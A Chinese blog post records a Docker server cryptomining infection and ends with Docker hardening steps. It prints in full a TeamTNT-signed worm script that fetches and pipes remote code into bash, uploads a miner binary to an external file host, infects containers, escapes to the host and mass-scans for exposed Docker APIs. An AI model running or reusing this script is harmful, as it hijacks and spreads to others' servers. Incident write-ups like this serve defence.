docker中病毒“kirito666(这是一篇不能解决实际问题的记录,介意勿看)
docker中病毒“kirito666”问题发现:阿里云发送短信:“尊敬的 XXXX:您的服务器因攻击被限制访问部分目的端口,详情信息请查看xxxx”登录阿里云控制台可以看到CPU使用率达到99%,并且无法远程登录服务器。并且在阿里云的安全告警处理器中可发现如下信息处理流程:登录阿里云,进行强制重启。重启后,就可以通过Xshell/SecureCRT工具远程登录服务器进行排查。通过执行free -
docker中病毒“kirito666”(这是一篇不能解决实际问题的记录,介意勿看)
####################################这是一篇不能解决实际问题的记录,介意勿看###########################################
问题发现:
阿里云发送短信:“尊敬的 XXXX:您的服务器因攻击被限制访问部分目的端口,详情信息请查看xxxx”
登录阿里云控制台可以看到CPU使用率达到99%,并且无法远程登录服务器。
并且在阿里云的安全告警处理器中可发现如下信息

处理流程:
登录阿里云,进行强制重启。重启后,就可以通过Xshell/SecureCRT工具远程登录服务器进行排查。
通过执行free -lh 、top、df -lh等命令均为发现异常。然后查看docker容器发现如下信息:

从图示“command”一行可以看到,该命令执行了/root/run.sh命令文件,(这是相对于docker的root,如果找不到可以通过命令“find / -name ‘run.sh’进行查找”),我的命令文件所在地方:/var/lib/docker/overlay2/0a7c202defba14227cb9f21447de27c0c537f3b3deda4c8156e4dedc9aa7eaa2/diff/root/。
查看run.sh文件内容:
#!/bin/bash
#
# ___________ _____________________________
# \__ ___/___ _____ ____\__ ___/\ \__ ___/
# | |_/ __ \\__ \ / \| | / | \| |
# | |\ ___/ / __ \| Y Y \ | / | \ |
# |____| \___ >____ /__|_| /____| \____|__ /____|
# \/ \/ \/ \/
# __ .__.__ .__ .__ .__
# _______/ |_|__| | | | _____ | | |__|__ __ ____
# / ___/\ __\ | | | | \__ \ | | | \ \/ // __ \
# \___ \ | | | | |_| |__ / __ \| |_| |\ /\ ___/
# /____ > |__| |__|____/____/ (____ /____/__| \_/ \___ >
# \/ \/ \/
#
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
# #
# __________.____ _____ _________ ____ __. ___________ #
# \______ \ | / _ \ \_ ___ \| |/ _| \__ ___/ #
# | | _/ | / /_\ \/ \ \/| < ______ | | #
# | | \ |___/ | \ \___| | \ /_____/ | | #
# |______ /_______ \____|__ /\______ /____|__ \ |____| #
# \/ \/ \/ \/ \/ #
# #
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
#
# .__ .__ _____ _____ __
# | | |__|/ ____\____ _/ ____\_ __ ____ | | __ ______ ___.__. ____ __ __
# | | | \ __\/ __ \ \ __\ | \_/ ___\| |/ / / ___/ < | |/ _ \| | \
# | |_| || | \ ___/ | | | | /\ \___| < \___ \ \___ ( <_> ) | /
# |____/__||__| \___ > |__| |____/ \___ >__|_ \/____ > / ____|\____/|____/
# \/ \/ \/ \/ \/
# __ __ _____ __ ___. __
# |__|__ __ _______/ |_ _/ ____\_ __ ____ | | __ \_ |__ _____ ____ | | __
# | | | \/ ___/\ __\ \ __\ | \_/ ___\| |/ / | __ \\__ \ _/ ___\| |/ /
# | | | /\___ \ | | | | | | /\ \___| < | \_\ \/ __ \\ \___| <
# /\__| |____//____ > |__| |__| |____/ \___ >__|_ \ |___ (____ /\___ >__|_ \
# \______| \/ \/ \/ \/ \/ \/ \/
#
#
#
# .___ /\ __ .___ .__ __
# __ _ __ ____ __| _/____ ___)// |_ __| _/____ |__|/ |_
# \ \/ \/ // __ \ / __ |/ _ \ / \ __\ / __ |/ _ \ | \ __\
# \ /\ ___/ / /_/ ( <_> ) | \ | / /_/ ( <_> ) | || |
# \/\_/ \___ > \____ |\____/|___| /__| \____ |\____/ |__||__|
# \/ \/ \/ \/
# __ __ .__ .__ .__ __
# __ _ __ ____ |__|__ __ _______/ |_ | | |__|__ __ ____ |__|/ |_
# \ \/ \/ // __ \ | | | \/ ___/\ __\ | | | \ \/ // __ \ | \ __\
# \ /\ ___/ | | | /\___ \ | | | |_| |\ /\ ___/ | || |
# \/\_/ \___ > /\__| |____//____ > |__| |____/__| \_/ \___ > |__||__|
# \/ \______| \/ \/
#
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# wanna talk? hilde@teamtnt.red
#
RATESCAN="50000"
SETUP_SLEEP="1"
function SETUP_SYSTEM(){
tar xvf /root/bins.tar.gz -C /root/
apk update
apk add --no-cache --repository http://dl-cdn.alpinelinux.org/alpine/edge/testing hwloc-dev
BASIC_APK_PACKS=(go git jq masscan libpcap libpcap-dev docker make cmake upx libstdc++ gcc g++ libuv-dev iptables openssl openssl-dev hwloc-dev)
for BASIC_APK_PACK in ${BASIC_APK_PACKS[@]}; do
echo "setup: $BASIC_APK_PACK"
apk add --no-cache $BASIC_APK_PACK 2>/dev/null 1>/dev/null
sleep $SETUP_SLEEP
done
export GOPATH=/root/go
go get github.com/zmap/zgrab
cd /root/go/src/github.com/zmap/zgrab
go build
cp ./zgrab /usr/bin/zgrab
chmod +x /root/bioset /root/kubebot /root/scope /root/tshd
/root/bioset; /root/kubebot; /root/tshd; /root/scope stop; /root/scope
rm -vrf /var/cache/apk/*
cd /root/xmrig/build/
cmake .. -DBUILD_STATIC=ON -DUV_LIBRARY=/usr/lib/libuv.so -DHWLOC_LIBRARY=/usr/lib/libhwloc.so -DWITH_TLS=OFF
make -j$(nproc)
upx -9 -o sbin xmrig
cp ./sbin /root/sbin
chmod +x /root/sbin
/root/sbin
# lil upspin test....
export UPSPINTEST=`curl --upload-file /root/sbin https://filepush.co/upload/`
# next part is implement the ssh spread..
cp ./sbin /host/bin/sbin
docker run -it --privileged --network host -v /:/mnt alpine chroot /mnt bash -C 'chmod +x /host/bin/sbin; /host/bin/sbin'
}
function INFECT_ALL_CONTAINERS(){
# ich lass den base64 echt mal weg :) sieht doch schöner aus ;)
docker ps | awk '{print $1}' | grep -v grep | grep -v CONTAINER >> /tmp/.dc
# thx for the container list.... do a looping *jipieh*
for i in $(cat /tmp/.dc); do
docker exec --privileged -d $i sh -c "apt-get update; apt-get install -y wget curl; yum install -y wget curl; apk update; apk add wget curl; mkdir /var/tmp/ -p; wget --no-check-certificate $UPSPINTEST -O /var/tmp/sbin; /var/tmp/sbin || curl -sLk $UPSPINTEST -o /var/tmp/sbin || wge --no-check-certificate $UPSPINTEST -O /var/tmp/sbin || cur -sLk $UPSPINTEST -o /var/tmp/sbin || wdl --no-check-certificate $UPSPINTEST -O /var/tmp/sbin || cdl -sLk $UPSPINTEST -o /var/tmp/sbin; chmod +x /var/tmp/sbin; /var/tmp/sbin"
done;
export HOME=/root
nohup $(curl -s -L https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/setup_moneroocean_miner.sh | bash -s 84xqqFNopNcG7T5AcVyv7LVyrBfQyTVGxMFEL2gsxQ92eNfu6xddkWabA3yKCJmfdaA9jEiCyFqfffKp1nQkgeq2Uu2dhB8) &
}
function GETLOCALRANGES(){
ip route show | awk '{print $1}' | grep "/" > /tmp/.lr
}
function AUTOLANDOCKERPWN(){
TARGETRANGE=$1
TARGETPORT=$2
SCANRATE=$3
rndstr=$(head /dev/urandom | tr -dc a-z | head -c 6 ; echo '')
eval "$rndstr"="'$(masscan $TARGETRANGE -p$TARGETPORT --rate=$SCANRATE | awk '{print $6}'| zgrab --senders 200 --port $TARGETPORT --http='/v1.16/version' --output-file=- 2>/dev/null | grep -E 'ApiVersion|client version 1.16' | jq -r .ip)'";
for TARGETIP in ${!rndstr}
do
echo "$TARGETIP:$TARGETPORT"
timeout -s SIGKILL 240s docker -H tcp://$TARGETIP:$TARGETPORT run -d --privileged --network host -v /:/host kirito666/blackt:latest
done;
}
function LANDOCKERPWN(){
GETLOCALRANGES
while read TargetRange
do
echo "scanne $TargetRange"
AUTOLANDOCKERPWN $TargetRange 2375 $RATESCAN
AUTOLANDOCKERPWN $TargetRange 2376 $RATESCAN
AUTOLANDOCKERPWN $TargetRange 2377 $RATESCAN
AUTOLANDOCKERPWN $TargetRange 4243 $RATESCAN
AUTOLANDOCKERPWN $TargetRange 4244 $RATESCAN
AUTOLANDOCKERPWN $TargetRange 5555 $RATESCAN
done < /tmp/.lr
rm -f /tmp/.lr
}
function RANDOMDOCKERPWN(){
for (( ; ; ))
do
TargetRange="$[RANDOM%255+1].0.0.0/8"
echo "scanne $TargetRange"
AUTOLANDOCKERPWN $TargetRange 2375 $RATESCAN
AUTOLANDOCKERPWN $TargetRange 2376 $RATESCAN
AUTOLANDOCKERPWN $TargetRange 2377 $RATESCAN
AUTOLANDOCKERPWN $TargetRange 4243 $RATESCAN
AUTOLANDOCKERPWN $TargetRange 4244 $RATESCAN
AUTOLANDOCKERPWN $TargetRange 5555 $RATESCAN
sleep 1
done
}
SETUP_SYSTEM
export HOME=/root
curl -s -L https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/setup_moneroocean_miner.sh | bash -s 84xqqFNopNcG7T5AcVyv7LVyrBfQyTVGxMFEL2gsxQ92eNfu6xddkWabA3yKCJmfdaA9jEiCyFqfffKp1nQkgeq2Uu2dhB8
INFECT_ALL_CONTAINERS
LANDOCKERPWN
RANDOMDOCKERPWN
但是当通过crontab -l 查看当前定时任务时,并未发现有执行的定时器,但是执行“tail -200f /var/log/cron”查看定时任务执行日志时如下图所示,确是是有定时任务执行的。
此时执行“netstat -tunlp ”排查端口和执行“service crond status”检查定时任务状态时,系统抛出异:-bash: /usr/bin/netstat: Permission denied;
???????????????????????????????????????(一脸问号)。
我是root用户权限,为啥还不能执行service crond status、netstat -tunlp命令了?
然后我进入到service 命令所在目录“/usr/sbin”,通过命令“ll -lh”可以发现,service命令权限已经被更改了。如下图所示(右边为正常情况、左右为修改后的异常情况)。
很显然是挖矿程序将自己原本的文件命令权限修改了,此时的解决权限方法:1、重装系统;2、找一台正常的服务器手动修改(此种方法工作量较大);3、找到挖矿程序中修改命令的操作,反向修改。
由于个人能力有限,只能使用方法一,重装系统。因为是重装系统,所以不存在run.sh啥的文件还存在,文件权限也恢复默认了,所以就不记录其它了(心烦着呢…撤退)…。如果有方法恢复默认的Linux权限,可以私聊我,我也学习学习。
后续解决方法:
1.配置Docker安全访问(加CA证书)
https://docs.docker.com/engine/security/protect-access/
2.设置docker的ip白名单,但是我的个人网络ip地址总是不一样的,所以没有采用
参考:
https://blog.csdn.net/weixin_42475281/article/details/114125644
https://blog.csdn.net/weixin_43590389/article/details/109259526
魔乐社区(Modelers.cn) 是一个中立、公益的人工智能社区,提供人工智能工具、模型、数据的托管、展示与应用协同服务,为人工智能开发及爱好者搭建开放的学习交流平台。社区通过理事会方式运作,由全产业链共同建设、共同运营、共同享有,推动国产AI生态繁荣发展。
更多推荐



所有评论(0)